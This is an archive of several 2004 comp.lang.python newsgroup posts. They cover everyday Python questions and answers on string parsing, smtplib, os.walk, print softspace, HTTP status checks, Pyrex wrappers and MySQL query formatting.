> Suppose I have a file containing several lines similar to this:
> 
> :10000000E7280530AC00A530AD00AD0B0528AC0BE2
> 
> The data I want to extract are 8 hexadecimal strings, the first of
> which is E728, like this:
> 
> :10000000 E728 0530 AC00 A530 AD00 AD0B 0528 AC0B E2
> 
> Also, the bytes in the string are reversed. The E728 needs to be 28E7,
> 0530 needs to be 3005 and so on.
> 
> I can do this in C++ and Pascal, but it seems like Python may be more
> suited for the task.
> 
> How is this accomplished using Python?

The first response only works with python-2.3 (yield is a newly
reserved word).

The second response did not work for me and left off the last couple
values.

You might want to try this. It iterates down the list, grabbing two
characters at a time, reversing them and appending them to a list. It
also allows a second list argument to store the first 8 digits
(mutable lists are passed by reference)

-------------------------------------------------------
from types import *

def process(line,key):
	""" Pass in a string type (line) and 
		an empty list to store the key """
	if type(key) is ListType and key == []:
		key.append(line[1:8])
	else:
		print "Key not ListType or not empty"
	result=[]
	line=line[9:]
	while line:
		k2,k1 = line[:2],line[2:4]
		line=line[4:]
		result.append(k1+k2)
	return result
-------------------------------------------------------


From nicholas_wieland at y_a_hoo.it  Fri Feb 27 05:30:03 2004
From: nicholas_wieland at y_a_hoo.it (Nicholas Wieland)
Date: Fri, 27 Feb 2004 10:30:03 +0000 (UTC)
Subject: wxPython tutorial?
References: <36965e8.0402262255.122d167f@posting.google.com>
Message-ID: <c1n67b$ir0$1@newsread.albacom.net>

 - Jive Dadson <jdadson at yahoo.com> : 
> I'm trying (without conspicuous success) to start learning
> wxPython.

Take a look at the wiki on the wxPython site.

HTH,
-- 
                                                __Nicholas Wieland
Flat is better than nested.
                                                __The Zen of Python


From sandysj at juno.com  Mon Feb 23 18:15:17 2004
From: sandysj at juno.com (Jeff Sandys)
Date: Mon, 23 Feb 2004 23:15:17 GMT
Subject: subject with smtplib?
Message-ID: <403A8985.CD13FE06@juno.com>

Can you include a subject with sendmail using smtplib?

When I do this (names changed to protect the innocent):

import smtplib
toadr = "me at myisp.com"
frmadr = "myhost at myhost.com"
msg = "this is an important message."
server = smtplib.SMTP('localhost')
server.sendmail(frmadr, toadr, msg)
server.quit()

I get the important message with a blank subject line.
It would be really useful to add a subject line, 

sub = "important message"
server.sendmail(frmadr, toadr, msg, subject=sub)

I've looked through the documentation and see that 
there is a mail_options but haven't found anything 
about adding a subject.

Thanks,
Jeff Sandys


From n4we at bellsouth.net  Sun Feb  8 12:04:49 2004
From: n4we at bellsouth.net (Tom Richardson)
Date: Sun, 8 Feb 2004 11:04:49 -0600
Subject: Python and DISLIN
References: <%38Vb.14040$Rl4.340@bignews5.bellsouth.net>
	<f7afbb21.0402080310.7db3e70e@posting.google.com>
Message-ID: <ZYtVb.26367$uS3.13992@bignews4.bellsouth.net>

Thank you. I'll work both options.


<chain_lube at hotmail.com> wrote in message
news:f7afbb21.0402080310.7db3e70e at posting.google.com...
> "Tom Richardson" <n4we at bellsouth.net> wrote in message
news:<%38Vb.14040$Rl4.340 at bignews5.bellsouth.net>...
>
> > If anyone has any experience using the graphics package DISLIN with
Python,
> > I'd appreciate some help.
> >
> > I am trying to use the function tifmod to change the resolution of a tif
> > graphics file. Either I am using it incorrectly, or I don't understand
what
> > it is supposed to do.
> > If I use
> >
> > tifmod(N,'INCH','RESOLUTION')
> >
> > and change the value of N, I think the size and properties of the
resulting
> > tif file should change; but nothing seems to change, regardless of how I
set
> > N (or any of the other parameters). I always get a tif file with the
same
> > size and characteristics (I did delete the file before each trial).
>
> Hi:
>
> [I once used Python and DISLIN. But nowadays I use something better
> for my scientific calculations: Bigloo (Scheme) + DISLIN.]
>
> That said: the best you can do: contact directly the developers of
> DISLIN. I made the experience that they are very responsive; you get
> answers as fast as the earth takes for one revolution around itself.




From deets_noospaam at web.de  Sat Feb 28 19:13:54 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 29 Feb 2004 01:13:54 +0100
Subject: Reading newlines from a text file
References: <b4a8ffb6.0402281000.606425e2@posting.google.com>
	<c1qrn4$8vq$07$1@news.t-online.com>
	<b4a8ffb6.0402281532.71291f95@posting.google.com>
Message-ID: <c1ras2$ona$06$1@news.t-online.com>

> Also, I notice that you have two backslashes before each n in
> "\\ntoerichte\\nlogik\\nboeser\\nkobold\n". Why is there a need for 2
> backslashes -would not one have done the trick?

Two backslashes escape the bacslash - otherwise the text in tmp.txt would
have contained _newlines_, not the \n-escape sequence you wanted. Test
this:

print "foo\nbar"
foo
bar
print "foo\\nbar"
foo\nbar

And the encoding argument is in codecs.open, not in builtin open - so you'll
find it documented in the codecs-module.

-- 
Regards,

Diez B. Roggisch



From ngps at netmemetic.com  Tue Feb  3 21:25:02 2004
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 4 Feb 2004 02:25:02 GMT
Subject: SWIG related: Error after installing m2crypto undefined symbol:
 EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
	<4020270a$0$316$e4fe514c@news.xs4all.nl>
	<bvphmh$gj8$1@mawar.singnet.com.sg>
Message-ID: <bvpl5u$i35$1@mawar.singnet.com.sg>

According to Ng Pheng Siong <ngps at netmemetic.com>:
> According to Irmen de Jong  <irmen at -NOSPAM-REMOVETHIS-xs4all.nl>:
> > Sean wrote:
> > > ImportError: /usr/lib/python2.2/site-packages/M2Crypto/__m2crypto.so:
> > > undefined symbol: EVP_rc5_32_12_16_ofb
> > 
> > The FAQ:  http://sandbox.rulemaker.net/ngps/m2/faq.html
>
> Of course if you have an earlier release - you appear to have 0.11 - the

Sorry, "you" here means Sean, not Irmen. I actually wanted to type "OP".

FAQ updated. Zope + ExternalEditor makes it easy. ;-)

Cheers.

-- 
Ng Pheng Siong <ngps at netmemetic.com> 

http://firewall.rulemaker.net -+- Firewall Change Management & Version Control
http://sandbox.rulemaker.net/ngps -+- Open Source Python Crypto & SSL


From kosh at aesaeion.com  Sat Feb 28 11:44:57 2004
From: kosh at aesaeion.com (kosh)
Date: Sat, 28 Feb 2004 09:44:57 -0700
Subject: Please hear my plea: print without softspace
In-Reply-To: <9nrc43idsjh1.7af9ozuv2nc7$.dlg@40tude.net>
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
	<9nrc43idsjh1.7af9ozuv2nc7$.dlg@40tude.net>
Message-ID: <200402280944.57182.kosh@aesaeion.com>

On Saturday 28 February 2004 07:32 am, Valentino Volonghi aka Dialtone wrote:
> In data Sat, 28 Feb 2004 12:01:40 +0000 (UTC), Carmine Noviello ha
>
> scritto:
> > def pprint(*args):
> >     txt = ""
> >     for a in args:
> >        txt += str(a)
> >     print txt
> >
> > Is it ok?
>
> I would use this instead:
>
> def pprint(*args):
>     txt = []
>     for a in args:
>         txt.append(a)
>     print ''.join(txt)
>
> which is a lot faster :)

why not?

def pprint(*args):
    print ''.join(args)

if you want it to be more robust you could do

def pprint(*args):
    print ''.join(map(str,args))

That would try and convert all the items to a string first before joining 
them.



From edcjones at erols.com  Wed Feb 25 09:53:58 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Wed, 25 Feb 2004 09:53:58 -0500
Subject: os.walk walks too much
In-Reply-To: <mailman.96.1077712778.8594.python-list@python.org>
References: <mailman.96.1077712778.8594.python-list@python.org>
Message-ID: <403cb80b$0$3076$61fed72c@news.rcn.com>

Marcello Pietrobon wrote:
> Hello,
> I am using Pyton 2.3
> I desire to walk a directory without recursion

I am not sure what this means. Do you want to iterate over the 
non-directory files in directory top? For this job I would use:

def walk_files(top):
     names = os.listdir(top)
     for name in names:
         if os.path.isfile(name):
             yield name

> this only partly works:
> def walk_files() :
>    for root, dirs, files in os.walk(top, topdown=True):
>        for filename in files:
>            print( "file:" + os.path.join(root, filename) )
>        for dirname in dirs:
>             dirs.remove( dirname )
> because it skips all the subdirectories but one.

Replace
        for dirname in dirs:
             dirs.remove( dirname )
with
         for i in range(len(dirs)-1, -1, -1):
             del dirs[i]
to make it work. Run

seq = [0,1,2,3,4,5]
for x in seq:
     seq.remove(x)
print seq

to see the problem. If you are iterating through a list selectively 
removing members, you should iterate in reverse. Never change the 
positions in the list of elements that have not yet been reached by the 
iterator.

> this *does not* work at all
> def walk_files() :
>    for root, dirs, files in os.walk(top, topdown=True):
>        for filename in files:
>            print( "file:" + os.path.join(root, filename) )
>        dirs = []

There is a subtle point in the documentation.

"When topdown is true, the caller can modify the dirnames list in-place 
(perhaps using del or slice assignment), and walk() will only recurse 
into the subdirectories whose names remain in dirnames; ..."

The key word is "in-place". "dirs = []" does not change "dirs" in-place.
It replaces "dirs" with a different list. Either use "del"
         for i in range(len(dirs)-1, -1, -1):
             del dirs[i]
as I did above or use "slice assignment"
          dirs[:] = []


From mac at dgp.toronto.edu  Mon Feb  9 13:48:34 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: 9 Feb 2004 18:48:34 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
	<c01qib$po6$1@news.service.uci.edu>
	<87hdy2hpbb.fsf@dgp.toronto.edu>
	<c03fla$c2k$1@news.service.uci.edu>
	<87llndkn47.fsf@dgp.toronto.edu>
	<c072po$ldf$1@news.service.uci.edu>
Message-ID: <87r7x45bpl.fsf@dgp.toronto.edu>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> visit(v) is now non-recursive.  I ran a test on a randomly generated 26 node
> graph, and both versions resulted in the same components, node visit order,
> etc.  I think you'll be happy with it.

Thanks!  I'll have a look at it soon, currently swamped.  It should be a good
practical example of recursive->iterative conversion; never know when I'll
have to do something similar again..

> I notice that you are a graduate student at the University of Toronto. Out of
> curiosity, what area are you focusing on?  From your playing with Tarjan's
> algorithm, I would expect that you are either a Theory student, or are taking
> a Theory course to fulfill a requirement of some sort. It's all good.

Alas, no, I'm more on the application side of things.  My main area is
computer graphics and animation, although my research makes substantial
use of AI (path planning, surface learning) and robotics (controllability,
control theory).  There's some more info on my homepage.

I *did* take an (Advanced Topics in) Graph Theory course though.  Ouch, my head
still hurts.  My brain is just not wired that way. :)


From w.henney at astrosmo.unam.mx  Mon Feb  9 09:31:33 2004
From: w.henney at astrosmo.unam.mx (Will Henney)
Date: 9 Feb 2004 06:31:33 -0800
Subject: How to make a Gaussian Fit?
References: <40258ecd$0$16818$a729d347@news.telepac.pt>
Message-ID: <9ddba974.0402090631.6f963c65@posting.google.com>

"Xcal" <paxcalpt at sapo.pt> wrote in message news:<40258ecd$0$16818$a729d347 at news.telepac.pt>...
> Anyone knows how to make a Gaussian fit to a histogram data using Python, or
> where I can find a library that helps me in this task?

This is a special case of non-linear fitting, which you can do with
the modules in ScientificPython. See
http://starship.python.net/~hinsen/ScientificPython/

Here is an extract from the relevant docs...

-----------------------------------------------------------------------
Module Scientific.Functions.LeastSquares
Functions

    * leastSquaresFit()

      General non-linear least-squares fit using the
Levenberg-Marquardt algorithm and automatic derivatives.
...
-----------------------------------------------------------------------

Cheers

Will


From and-google at doxdesk.com  Tue Feb 17 14:05:41 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 17 Feb 2004 11:05:41 -0800
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<10341ha7te8bpb8@news.supernews.com>
Message-ID: <2c60a528.0402171105.3b4e77dd@posting.google.com>

John Roth <newsgroups at jhrothjr.com> wrote:

> 1. The proposed syntax breaks Python's indentation scheme in a manner that
> try-except, for-else, while-else, and if-elif-else do not.

I don't know about 'breaks', but IMO the main disadvantage of the 315
proposal is that you have to read code backwards. That is, given:

  # Comment
  #
  while condition:
    loop_body

you have to scan backwards to see whether the while block is stand-alone or
part of a do...while construct.

This could be solved by starting with a 'while' construct as normal and then
following it with the new keyword:

  while True:
    setup_condition
  anwhile condition:
    loop_body

('anwhile' is by analogy with 'elif', but anything could be used.)

This also has the advantage that more than one anwhile clause could be used,
giving a general-purpose multi-test loop.

Wayne's 'until' proposal is simpler than 315 and only allows a post-test,
not a mid-test loop.

IMO the word 'until' is not a good choice as it inverts the condition logic:
now the condition must be False to continue the loop instead of True as with
'while' and 'if'. If the difference is just that the loop executes at least
once without checking the condition, we could do it with a variant of while
syntax, for example:

  while condition, 1:
    loop_body

(PXTL has something like this: px:while elements may have a 'min' attribute
giving a minimum number of untested iterations. Seems to work OK, though I
have never had cause to use a number other than 1.)

> 2. What I find more serious is that there are a huge number of ways to go in
> "improving" the basic while loop, none of which seem to be a natural
> stopping point.

Indeed. I would quite like to use 'anwhile', but only *quite* - It's a *bit*
nicer than "if not condition: break", but not enormously so.

At best, I'm +0 on loop enhancements in general.

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From jcarlson at nospam.uci.edu  Tue Feb  3 01:36:30 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 22:36:30 -0800
Subject: javadoc for python
In-Reply-To: <401f0ace$1_1@newspeer2.tds.net>
References: <401f0ace$1_1@newspeer2.tds.net>
Message-ID: <bvnflm$2l9$1@news.service.uci.edu>

> I played a little with happydoc and pydoc and wonder which one I should use.
> 
> Also, is there a better documentation general available (I am spoiled by
> javadoc).
> 
> Lastly, I could not find good documentation for either happydoc or pydoc.
> Thanks.

 From your post, you are seemingly just looking for documentation on 
everything that is included with Python.  This can be found here:
http://www.python.org/doc/

If you installed the documentation for Python, when you installed 
Python, it is also included at <path where you installed python>/doc

Personally, I find no need for pydoc or happydoc, I prefer reading the 
source.  Because of the way pydoc (and likely happydoc) pull out 
documentation, all the documentation that is gained from using them is 
readily available in the source, along with comments that are not 
included when the help files are pulled out with pydoc.

  - Josiah


From healthed at hotmail.com  Sun Feb 22 16:25:38 2004
From: healthed at hotmail.com (weasel)
Date: Sun, 22 Feb 2004 21:25:38 GMT
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
	<d23i30l1bebealodg47eu5b01pp5a9lkg4@4ax.com>
Message-ID: <5j7i30phhik2nutu4bosg795at7ghhi1f1@4ax.com>

On Sun, 22 Feb 2004 20:09:17 GMT, weasel <healthed at hotmail.com> wrote:

>I just figured it out. It has to do with range. The conversion is
>working, but the range functionality is screwing it all up. Back to
>the drawing board!


Just finished it. Thank you for the suggestions, it helped me move in
the right direction.


From cygnus at cprogrammer.org  Mon Feb  2 19:48:30 2004
From: cygnus at cprogrammer.org (Jonathan Daugherty)
Date: Mon, 2 Feb 2004 19:48:30 -0500
Subject: Python vs. Io
In-Reply-To: <donn-6022C3.16282902022004@nntp4.u.washington.edu>
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
	<mailman.1108.1075669832.12720.python-list@python.org>
	<1075702864.490920@yasure>
	<153fa67.0402021548.6c5e394@posting.google.com>
	<donn-6022C3.16282902022004@nntp4.u.washington.edu>
Message-ID: <20040203004830.GA903@mail.theserver.ath.cx>

Not to dampen spirits, but I believe this thread has gone on long
enough and is by this point very OT.

Thanks.

-- 

  Jonathan Daugherty
  http://www.cprogrammer.org

  "It's a book about a Spanish guy called Manual, you should read it."
                                                            -- Dilbert



From fumanchu at amor.org  Tue Feb 24 11:06:32 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 24 Feb 2004 08:06:32 -0800
Subject: Session CGI!
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D99@opus.amorhq.net>

John wrote:
> I am not looking for magic. What I am looking for is an elegant
> solution to manage session info like in ASP/PHP, both of which have
> doing this for quite a while. It's hardly exotic. It has been a couple
> of years since I last used ASP, but I think it was session("var") =
> value in ASP. Can't be simpler than that.

Hi John,

Are you aware that you can use Python as an ASP language? I use tiny ASP
pages with content like:

<%@Language=Python%>
<%
from myapp.html import uiasp
uiasp.UserInterfaceASP(Application, Session, Request,
Response).dispatch()
%>

...where the dispatch() call writes content to the Response object. I
wrote a more complete treatment at
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/225299 which
shows how to write an app so you can deploy it on both IIS/ASP and
mod_python. I admit, I haven't touched the Session object--perhaps you
can work that bit out and let me know how to do it. :)

HTH!


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From robin at jessikat.fsnet.co.uk  Sat Feb 28 08:09:26 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sat, 28 Feb 2004 13:09:26 +0000
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
Message-ID: <edc2QLAGMJQAFwoM@jessikat.fsnet.co.uk>

In article <dca1dc79fa2d9efd5bb586b079d4db53.46955 at mygate.mailgate.org>,
Carmine Noviello <cnoviello at hotmail.com> writes
>def pprint(*args):
>    txt = ""
>    for a in args:
>       txt += str(a)
>    print txt
>
>Is it ok?
>
>-- 
>Don't you know why your Python application has crashed? 
>Take a look to http://www.pycrash.org
>
>
Give stdout a good hiding :)

##############
class hidesoftspace:
    def __init__(self,fobj):
        self.__dict__['_fobj'] = fobj
        fobj.softspace = False
    def __getattr__(self,a):
        if a=='softspace': return False
        return getattr(self._fobj,a)
    def __setattr__(self,a,v):
        if a=='softspace': return
        setattr(self._fobj,a,v)

import sys
print 'before hiding',1,2,3,4
sys.stdout=hidesoftspace(sys.stdout)
print 'after  hiding',1,2,3,4
##############
results in

before hiding 1 2 3 4
after  hiding1234
-- 
Robin Becker


From max at NcOviSsPiAoMntech.com  Thu Feb 12 09:54:36 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Thu, 12 Feb 2004 14:54:36 GMT
Subject: write a recognizer
In-Reply-To: <c0fiio$nt9$02$1@news.t-online.com>
References: <3e96ebd7.0402120105.14ee6f6d@posting.google.com>
	<c0fiio$nt9$02$1@news.t-online.com>
Message-ID: <MsMWb.139777$cM1.26261689@twister.nyc.rr.com>

This is cool. Curious (my py object recall is a bit stale): would this 
solution work for a class that derives from Recognizer (and implements 
an 'is_' method)?

thanks,
max


Peter Otten wrote:

> Klaus Neuner wrote:
> 
> 
>>Hello,
>>
>>I want to write a class Recognizer, like so:
>>
>>class Recognizer(object):
>>
>>    def is_of_category_1(self, token):
>>        if token == 1:
>>            return "1"
>>        else:
>>            return False
>>
>>    def is_of_category_2(self, token):
>>        if token == 2:
>>            return "2"
>>        else:
>>            return False
>>
>>    def recognize(self, token):
>>        for fun in <?>:
>>            result = apply(fun, token)
>>            if result:
>>                return result
>>        return False
>>
>>What do I have to write instead of <?>?
>>Or: How should I design the recognizer, if the above design is not good?
>>
>>Klaus
> 
> 
> The following assumes that all category checker method names start with a
> common prefix. Those are automatically extracted in the __init__() method.
> If you are interested in this technique, I stole it from cmd.py in the
> library. IIRC, the implementation is more complete as it also inspects the
> base classes.
> 
> class Recognizer(object):
>     def __init__(self):
>         r = self.recognizers = []
>         for n in dir(self.__class__):
>             if n.startswith("is_"):
>                 r.append(getattr(self, n))
> 
>     def is_of_category_1(self, token):
>         if token == 1:
>             return "1"
> 
>     def is_of_category_2(self, token):
>         if token == 2:
>             return "2"
> 
>     def recognize(self, token):
>         # would also work:
>         #for fun in [self.is_of_category_1, self.is_of_category_2]:
> 
>         for fun in self.recognizers:
>             result = fun(token)
>             if result:
>                 return result
>         return False
> 
> if __name__ == "__main__":
>     r = Recognizer()
>     for t in "12341":
>         print r.recognize(int(t)),
>     print
> 
> Peter


From pythonhda at yahoo.com.replacepythonwithlinux  Mon Feb 16 13:12:40 2004
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Mon, 16 Feb 2004 13:12:40 -0500
Subject: Getting server status response from HTTP request
References: <Je6dna82Z9mjhLDdRVn-jw@speakeasy.net>
Message-ID: <20040216131240.57e3acb4.pythonhda@yahoo.com.replacepythonwithlinux>

On Fri, 13 Feb 2004 10:36:44 -0800
Mike C <m at poo.com> wrote:

> First of all, I am a complete newbie to Python, but have been impressed 
> with how easy the language has been to pick up.
> 
> I am trying to write a script that checks to see if the web / 
> application server is up. I have the following code that works:
> 
> --
> import httplib
> 
> try:
>      httpobj = httplib.HTTPConnection('www.domain.com', 80)
>      httpobj.connect();
>      httpobj.putrequest('GET', '/foo/ping.cfm')
>      httpobj.putheader('Accept', '*/*')
>      httpobj.endheaders()
> 
>      reply = httpobj.getresponse()
>      httpobj.close();
> 
>      if reply.status != 200:
>      	print "There may be a problem with the server. Response Status :", 
> reply.status
>      else:
>      	print "server is fine"
>      	
> except Exception:
>      print "An exception occured"
> --
> 
> I was curious if anyone had suggestions on a better way to do this. I 
> tried to use urllin2, but could not figure out how to retrieve the 
> status code.
> 
> mike c

Suggestion...don't use a "GET" request, use a "HEAD" request. That way the server will only return the headers and not the complete file (the status code will be the same) so you can check any file you want using only a minimal amount of bandwidth.


From ardechou at free.fr  Mon Feb 16 17:22:17 2004
From: ardechou at free.fr (ardechou)
Date: 16 Feb 2004 14:22:17 -0800
Subject: pygame and tutorial
Message-ID: <ca5642cb.0402161422.61c41c25@posting.google.com>

hi 
i want to find a tutorial for pygame 
but not on the site of pygame , just a tutorial for a beginner , to
open a progam , to see the resolution of the screen , to use the mouse
, to write text on screen
and a lot of small tips ... 
Thanls a lot

ardechou


From fumanchu at amor.org  Sat Feb 21 16:18:36 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sat, 21 Feb 2004 13:18:36 -0800
Subject: problems with using the Compiler module
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D87@opus.amorhq.net>

Stephen Emslie wrote:
> I am wanting to create a simple code inspector and the Compiler module
> seems to be a good starting point. However there seems to be either a
> problem with the module, or with the way that I'm using it.
> 
> once I get the AST, I want to traverse the tree pulling out certain
> information. For this I wanted to use node.getType() to deal with a
> specific type of node correctly.
> 
> But all that node.getType() ever returns is None. Is this method
> depreciated? If not then why will it only return None?

getType() is a method of compiler.ast.Node. Looking at the source (lines
37-40 in mine):

class Node: # an abstract base class
    lineno = None # provide a lineno for nodes that don't have one
    def getType(self):
        pass # implemented by subclass

...unfortunately for you, none of the subclasses of Node in compiler.ast
override getType(). So getType() returns None just like any other method
without an explicit return value.

If you want to traverse the tree, look at the docs and source for
compiler.visitor


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From BrenBarn at aol.com  Tue Feb 24 13:19:29 2004
From: BrenBarn at aol.com (OKB (not okblacke))
Date: 24 Feb 2004 18:19:29 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<mailman.46.1077640974.8594.python-list@python.org>
Message-ID: <Xns949968FEC7F35OKB@130.133.1.4>

Terry Reedy wrote:

> Quiz: how would you rewrite map(len, ['abc', (1,2,3,4), [5,6]]) if
> len() were a method?

    	[ a.len() for a in ['abc', (1,2,3,4), [5,6]] ]

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From paul at prescod.net  Sat Feb 21 14:15:34 2004
From: paul at prescod.net (Paul Prescod)
Date: Sat, 21 Feb 2004 11:15:34 -0800
Subject: Python and C
In-Reply-To: <1077275011.4035e983d897a@pascal.numericable.net>
References: <1077275011.4035e983d897a@pascal.numericable.net>
Message-ID: <4037AE56.9060304@prescod.net>

hermes at numericable.fr wrote:

> Hi, this may be a newbie question, as I'm quite new to python but I'd rather get
> your points of view instead of wasting a week or two on a wrong way 
> 
> I'm using python 2.3 on a mandrake brand new system 
> 
> My problem : I'd like to use a complex C program under python. 
> After few researchs I tested SWIG, which seems to work for me exept that I'd
> like to be able to 
> use a C function under python that has this prototype 
> 
> void Fitimp(double *x1, double *x2... ) 

How will the implementation of Fitimp know how long these lists are?

> these double parameters are lists of double precision number.
> The python script will read this datas from files, So i'd like to know how to
> transform a python list of double precision float to a C double * variable

I don't know SWIG but I do know Pyrex, so here's a Pyrex solution:

import array

cdef extern from "header.h":
         cdef void Fitimp(double *x1, int x1_len, double *x2, int x2_len)

def PyFitimp(pyx1, pyx2):
         cdef double *x1, *x2
         cdef int address1, length1, address2, length2

         array1 = array.array('d', pyx1)
         address1, length1 = array1.buffer_info()
         x1 = <double *>address1

         array2 = array.array('d', pyx2)
         address2, length2 = array2.buffer_info()
         x2 = <double *>address2

         print x1[0]
         print array1
         print x2[0]
         print array2

         Fitimp(x1, length1, x2, length2)

PyFitimp(range(3,10), range(6,13))

  Paul Prescod





From newsgroups at jhrothjr.com  Sat Feb 21 13:41:41 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 21 Feb 2004 13:41:41 -0500
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <103f9k5a44h0u23@news.supernews.com>


"Gaurav Veda" <gveda at iitk.ac.in> wrote in message
news:1c764367.0402210857.579f59ab at posting.google.com...
> Hi !
>
> I am a poor mortal who has become terrified of Python. It seems to
> have thrown all the OO concepts out of the window. Penniless, I ask a
> basic question :
> What is the difference between a class and a function in Python ???
> Consider the following code fragments :
> # Fragment 1 begins
>
> a = 1
> print a
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()
> def c1():
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()
> c1()
> class c2:
>     pass
> print d
> print c
>
> # Fragment 1 ends
> # Fragment 2 begins
> a = 1
> print a
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()
> class c1:
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()
> class c2:
>     pass
>
> print d
> print c
>
> # Fragment 2 ends
>
> The output of both these codes are precisely the same ! (including the
> error because of 'print c')

Why shouldn't they be the same?

>
> The sample output is :
> 1
> inside fun1
> 1
> inside fun1
> We are dead !!!
> We are dead !!!
> Traceback (most recent call last):
>   File "XYZ.py", line 21, in ?
>     print c
> NameError: name 'c' is not defined
>
> Waiting for some 'logical' explanation !!!


What has probably gotten you confused is that
the text of the class executes when the class is
defined, while the text of a function doesn't.
So in both cases the same statements executed,
but because of a different execution order.

> a = 1
> print a  <------ "1"
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()  <--- "inside fun1"
> def c1():
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()
> c1() <---- "1", "inside fun1", "We are dead!!!"
> class c2:
>     pass
> print d <----- "we are dead !!!"

> a = 1
> print a  <------ "1"
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()  <--- "inside fun1"
> class c1():
>     print a <--- "1"
>     print b <--- "inside fun1"
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d <---- "we are dead !!!"
>     fun2()
> class c2:
>     pass
> print d <----- "we are dead !!!"

John Roth

>
> Gaurav




From sjf at autograf.pl  Fri Feb 27 09:15:16 2004
From: sjf at autograf.pl (..:: sjf ::..)
Date: Fri, 27 Feb 2004 15:15:16 +0100
Subject: Reading selected data from text files
Message-ID: <c1njho$adr$1@nemesis.news.tpi.pl>

Hello Pythoners!

There are a lot of files containing data such as:

file1:
0950 1550

file22:
0952 1552

file3:
1000 1020 1050 1130 1150 1200 1245 1600

file4:
1002 1022 1052 1132 1152 1202 1247 1602

file5:
1005 1025 1055 1135 1155 1205 1250 1605

I want to read from them only that data which produce a following sequence
of data:
=> 0950 0952 1000 1002 1005
=> 1555 1557 1600 1602 1605


--
..:: sjf ::..
"Linux is like Wigwam. No gates, no windows... Apache inside ;-)"


From amy-g-art at cox.net  Fri Feb 27 02:59:19 2004
From: amy-g-art at cox.net (Amy G)
Date: Thu, 26 Feb 2004 23:59:19 -0800
Subject: escaping % in a string???
References: <P5C%b.2944$506.2797@fed1read05> <c1ms95$mm3$1@ork.noris.net>
Message-ID: <qNC%b.2953$506.172@fed1read05>

Thanks for the quick response... exactly what I was looking for.


"Wolfram Kraus" <kraus at hagen-partner.de> wrote in message
news:c1ms95$mm3$1 at ork.noris.net...
> Heyho!
>
> Amy G wrote:
> > I am trying to execute the following MySQL query:
> >
> > c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE
> > '%%s%'""" %(userid, phrase))
>
> Use %%
> c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE
> '%%%s%%'""" %(userid, phrase))
>
>
> > This returns an error saying: ValueError: unsupported format
> > character ''' (0x27) at index 63
> >
> > I can fix this by setting phrase = "%" + phrase + "%"
> >
> > and then c.execute("""DELETE FROM pending WHERE userid=%s AND subject
> > LIKE '%s'""" %(userid, phrase))
> >
> > But is there a way to escape the % signs in the first execute
> > statement?
> >
> > Thanks in advance for any help. Sorry about the easy question.
> >
>
> Stay Rude!
> Wolfram
>




From jcarlson at nospam.uci.edu  Wed Feb 11 15:46:45 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 11 Feb 2004 12:46:45 -0800
Subject: tkinter, threads and asyncore together
In-Reply-To: <402A7E7D.C423D056@noaa.gov>
References: <402A7E7D.C423D056@noaa.gov>
Message-ID: <c0e4g5$mug$1@news.service.uci.edu>

george.trojan at noaa.gov wrote:

> My application consists of Tkinter GUI that has to communicate with a
> remote
> server. The communication is bi-directional: the GUI responds to remote
> requests and user actions uch as pressing a button) should send messages
> 
> to the server. I want to have the network interface implemented as a
> separate
> thread, as it may take a while to proccess incoming messages. My initial
> approach is the following
> 
>  ------   Queue   --------------------
> |      | <------ |      asyncore      |        socket
> | GUI  |    ?    |dispatcher_with_send| <------------------>  server
> |      | ------> |                    |
>  ------           --------------------
> 
> My question is how to communicate with asyncore (to send a message, or
> end the thread)? I started with creating an additional dispatcher class
> using unix domain socket, but is seems wrong, why use sockets within the
